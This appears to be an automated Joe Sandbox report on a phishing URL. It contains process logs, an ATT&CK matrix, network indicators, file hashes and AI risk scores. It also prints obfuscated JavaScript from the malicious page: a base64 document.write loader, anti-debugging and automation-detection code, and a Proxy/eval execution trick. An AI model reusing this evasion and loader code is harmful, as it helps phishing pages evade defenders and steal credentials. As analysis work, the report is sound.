Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6592 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5572 --field-trial-handle=2536,i,1983186790017537026,10976805212909534197,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2092,i,12039556330216411981,17761890535772019975,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1680 --field-trial-handle=2068,i,391148098692564676,17790295371905818145,262144 /prefetch:3

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868			Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868			Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	11 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	11 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.130.137	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.68	true	false	high
bryf.atchirlisc.ru	104.21.80.1	true	true	unknown
googlehosted.l.googleusercontent.com	142.250.186.129	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high

Name	Source	Malicious	Reputation
https://duckduckgo.com/chrome_newtab	Web Data.11.dr	false	high
https://web.whatsapp.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://duckduckgo.com/ac/?q=	Web Data.11.dr	false	high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://m.kugou.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.office.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.live.com/mail/0/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.last.fm/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://powerpoint.new?from=EdgeM365Shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Web Data.11.dr	false	high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.11.dr	false	high
https://tidal.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://docs.google.com/	manifest.json0.11.dr	false	high
https://www.youtube.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.instagram.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://web.skype.com/?browsername=edge_canary_shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://gaana.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-staging.corp.google.com/	manifest.json0.11.dr	false	high
https://drive.google.com/	manifest.json0.11.dr	false	high
https://outlook.live.com/mail/compose?isExtension=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Web Data.11.dr	false	high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.messenger.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.office.com/mail/compose?isExtension=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://i.y.qq.com/n2/m/index.html	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.deezer.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://word.new?from=EdgeM365Shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.office.com/	Top Sites.11.dr	false	high
https://chrome.cloudflare-dns.com	Network Persistent State0.11.dr	false	high
https://web.telegram.org/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://outlook.office.com/mail/0/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Web Data.11.dr	false	high
https://m.soundcloud.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	service_worker_bin_prod.js.11.dr, offscreendocument_main.js.11.dr	false	high
https://drive-daily-2.corp.google.com/	manifest.json0.11.dr	false	high
https://drive-autopush.corp.google.com/	manifest.json0.11.dr	false	high
https://music.amazon.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-daily-4.corp.google.com/	manifest.json0.11.dr	false	high
https://vibe.naver.com/today	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.11.dr	false	high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.office.com/Office	Top Sites.11.dr	false	high
https://open.spotify.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://twitter.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-daily-1.corp.google.com/	manifest.json0.11.dr	false	high
https://excel.new?from=EdgeM365Shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://web.skype.com/?browsername=edge_stable_shoreline	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-daily-5.corp.google.com/	manifest.json0.11.dr	false	high
https://m.vk.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.11.dr	false	high
https://www.google.com/chrome	content_new.js.11.dr, content.js.11.dr	false	high
https://www.tiktok.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-daily-6.corp.google.com/	manifest.json0.11.dr	false	high
https://drive-daily-0.corp.google.com/	manifest.json0.11.dr	false	high
https://www.onenote.com/stickynotes?isEdgeHub=true	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.iheart.com/podcast/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://music.yandex.com	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://chromewebstore.google.com/	manifest.json.11.dr	false	high
https://drive-preprod.corp.google.com/	manifest.json0.11.dr	false	high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://chrome.google.com/webstore/	manifest.json.11.dr	false	high
https://y.music.163.com/m/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://bard.google.com/	fe5cb3d4-4852-4c21-ad38-a955f66f81b2.tmp.11.dr	false	high
https://drive-daily-3.corp.google.com/	manifest.json0.11.dr	false	high

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.21.80.1	bryf.atchirlisc.ru	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
142.250.186.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false

IP
192.168.2.16
192.168.2.4

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1586748
Start date and time:	2025-01-09 15:28:38 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://bryf.atchirlisc.ru/EeMAGvIe/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.phis.evad.win@64/298@20/11

Input	Output
URL: https://bryf.atchirlisc.ru Model: Joe Sandbox AI	{ "typosquatting": true, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://bryf.atchirlisc.ru
URL: https://bryf.atchirlisc.ru/EeMAGvIe/... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script appears to be using obfuscated code and redirecting to an unknown domain, which are moderate-risk indicators. However, the intent is unclear, and there are no clear signs of malicious behavior, so a medium risk score is appropriate." }
/* Success is not how high you have climbed, but how you make a positive difference to the world. */ if(atob("aHR0cHM6Ly9CcllGLmF0Y2hpcmxpc2MucnUvRWVNQUd2SWUv") == "nomatch"){ document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4NCiAgICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+DQogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPg0KPHN0eWxlPg0KYm9keSwgaHRtbCB7DQptYXJnaW46IDA7DQpwYWRkaW5nOiAwOw0KaGVpZ2h0OiAxMDAlOw0Kb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCg0KLmJhY2tncm91bmQtY29udGFpbmVyIHsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgaGVpZ2h0OiAxMDAlOw0KICAgIHdpZHRoOiAxMDAlOw0KfQ0KLmJhY2tncm91bmQtY29udGFpbmVyIC5iYWNrZ3JvdW5kIHsNCiAgICBjb250ZW50OiAiIjsNCiAgICBwb3NpdGlvbjogYWJzb2x1dGU7DQogICAgdG9wOiAwOw0KICAgIGxlZnQ6IDA7DQogICAgcmlnaHQ6IDA7DQogICAgYm90dG9tOiAwOw0KICAgIGJhY2tncm91bmQ6IHdoaXRlOw0KICAgIGJhY2tncm91bmQtc2l6ZTogY292ZXI7DQogICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsNCiAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXI7DQogICAgZmlsdGVyOiBibHVyKDVweCk7DQogICAgei1pbmRleDogLTE7DQp9DQouY29udGVudCB7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgIHotaW5kZXg6IDE7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICBib3JkZXI6IDFweCBzb2xpZCAjMGYwZTBlOw0KICAgIHBhZGRpbmc6IDIwcHggMTBweDsNCiAgICB3aWR0aDogMzAwcHg7DQogICAgbWFyZ2luOiAyMHB4IGF1dG87DQogICAgYm9yZGVyLXJhZGl1czogNHB4Ow0KICAgIGJveC1zaGFkb3c6IDBweCAycHggNHB4IHJnYmEoMCwgMCwgMCwgMC4yKTsNCiAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrYm94IHsNCiAgICBkaXNwbGF5OiBmbGV4Ow0KICAgIGhlaWdodDogMjBweDsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXSB7DQogICAgZGlzcGxheTogbm9uZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggbGFiZWwgew0KICAgIGRpc3BsYXk6IGZsZXg7DQogICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICBjdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5jYXB0Y2hhLWNoZWNrbWFyayB7DQogICAgd2lkdGg6IDIwcHg7DQogICAgaGVpZ2h0OiAyMHB4Ow0KICAgIGJvcmRlcjogMnB4IHNvbGlkICNkM2QzZDM7DQogICAgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogICAgLyogbWFyZ2luLXJpZ2h0OiAxMHB4OyAqLw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtY2hlY2tib3ggaW5wdXRbdHlwZT0iY2hlY2tib3giXTpjaGVja2VkICsgbGFiZWwgLmNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDogNnB4Ow0KICAgIGhlaWdodDogMTJweDsNCiAgICBib3JkZXI6IHNvbGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAzcHggMDsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7DQp9DQoNCi5jYXB0Y2hhLXRleHQgew0KICAgIGZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgICBmb250LXNpemU6IDE0cHg7DQogICAgbGVmdDogNnB4Ow0KICAgIGNvbG9yOiAjZmZmZmZmOw0KICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCn0NCg0KLmNhcHRjaGEtbG9nbyBpbWcgew0KICAgIGhlaWdodDogNDBweDsNCiAgICB0b3A6IDBweDsNCiAgICByaWdodDogMDsNCiAgICBmbG9hdDogcmlnaHQ7DQogICAgcG9zaXRpb246IHJlbGF0aXZlOw0KfQ0KDQouY2FwdGNoYS1sb2FkZXIgew0KIGJhY2tncm91bmQtY29sb3I6I2Y5ZjlmOTsNCiBib3JkZXI6NnB4IHNvbGlkICM0ZDkwZmU7DQogYm9yZGVyLXJhZGl1czozNnB4Ow0KIGJvcmRlci1ib3R0b20tY29sb3I6dHJhbnNwYXJlbnQ7DQogYm9yZGVyLXJpZ2h0LWNvbG9yOnRyYW5zcGFyZW50Ow0KIGhlaWdodDozNnB4Ow0KIG91dGxpbmU6MDsNCiBwb3NpdGlvbjpyZWxhdGl2ZTsNCiAvKnJpZ2h0OiAxODJweDsqLw0KIHdpZHRoOjM2cHg7DQogYm94LXNpemluZzpib3JkZXItYm94Ow0KIGFuaW1hdGlvbjogc3BpbiBsaW5lYXIgMXMgaW5maW5pdGU7DQogZGlzcGxheTogbm9uZTsNCn0NCg0KQGtleWZyYW1lcyBzcGluIHsNCiAgICAwJSB7IHRyYW5zZm9ybTogcm90YXRlKDBkZWcpOyB9
URL: https://bryf.atchirlisc.ru/EeMAGvIe/... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain (Google login page) after a delay. These behaviors are highly indicative of malicious intent, such as attempting to bypass security measures and potentially steal user credentials." }
if (navigator.webdriver \|\| window.callPhantom \|\| window._phantom \|\| navigator.userAgent.includes("Burp")) { window.location = "about:blank"; } document.addEventListener('keydown', function(event) { if (event.keyCode === 123) { event.preventDefault(); return false; } if ( (event.ctrlKey && event.keyCode === 85) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 73) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 67) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 74) \|\| (event.ctrlKey && event.shiftKey && event.keyCode === 75) \|\| (event.ctrlKey && event.keyCode === 72) \|\| (event.metaKey && event.altKey && event.keyCode === 73) \|\| (event.metaKey && event.altKey && event.keyCode === 67) \|\| (event.metaKey && event.keyCode === 85) ) { event.preventDefault(); return false; } }); document.addEventListener('contextmenu', function(event) { event.preventDefault(); return false; }); fSEBsMoYQt = false; (function kTuTuhMPij() { let DSzIMCdVjC = false; const XAzfMChwoI = 100; setInterval(function() { const dxsIhFsJBm = performance.now(); debugger; const CmgEvkwoBR = performance.now(); if (CmgEvkwoBR - dxsIhFsJBm > XAzfMChwoI && !DSzIMCdVjC) { fSEBsMoYQt = true; DSzIMCdVjC = true; window.location.replace('https://accounts.google.com/'); } }, 100); })();
URL: https://bryf.atchirlisc.ru/EeMAGvIe/... Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10." }
new Proxy({},{get:(_,n)=>eval([...n].map(n=>+("">n)).join``.replace(/.{8}/g,n=>String.fromCharCode(+("0b"+n))))}).
URL: https://bryf.atchirlisc.ru/EeMAGvIe/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Click to accept", "prominent_button_name": "Click to accept", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://bryf.atchirlisc.ru/EeMAGvIe/ Model: Joe Sandbox AI	{ "brands": [ "Butterfly" ] }
	{ "brands": [ "Butterfly" ] }

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	22881
Entropy (8bit):	6.047843593825372
Encrypted:	false
SSDEEP:	384:7tMkaMJH2m8qVT8IeQ0I5t0b9MEFdsNwhvkjQWC0T35ub/Y3jFd4J:xMkbJrT8IeQc5d1mjXC0L5uTY3JA
MD5:	61560FE07B54B4CEDF8A22C0AA4B2DD1
SHA1:	159CB5DAA099FFC2BC20F1A032647E5C4300D848
SHA-256:	3DEA8F8D6ACA863B856BD700123FC8A7D3E28C8044DC5FC2849DD746BCB5FF05
SHA-512:	F7557899996C96FE3C33FEB7551383A48591F41EBEDD06EE1F2D682C79EC21D2DCE4C7ACB727B249F18C8C75CF6588F1A6F00748FA2D6008AAC55B9A04B2491A
Malicious:	false
Reputation:	low
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13380906602124790","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_redirect_origin":"","last_seen_whats_new_page_version":"117.0.2045.47"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1736433006"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5G

Time	Type	Description
14:30:09	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
14:30:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868 "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	low
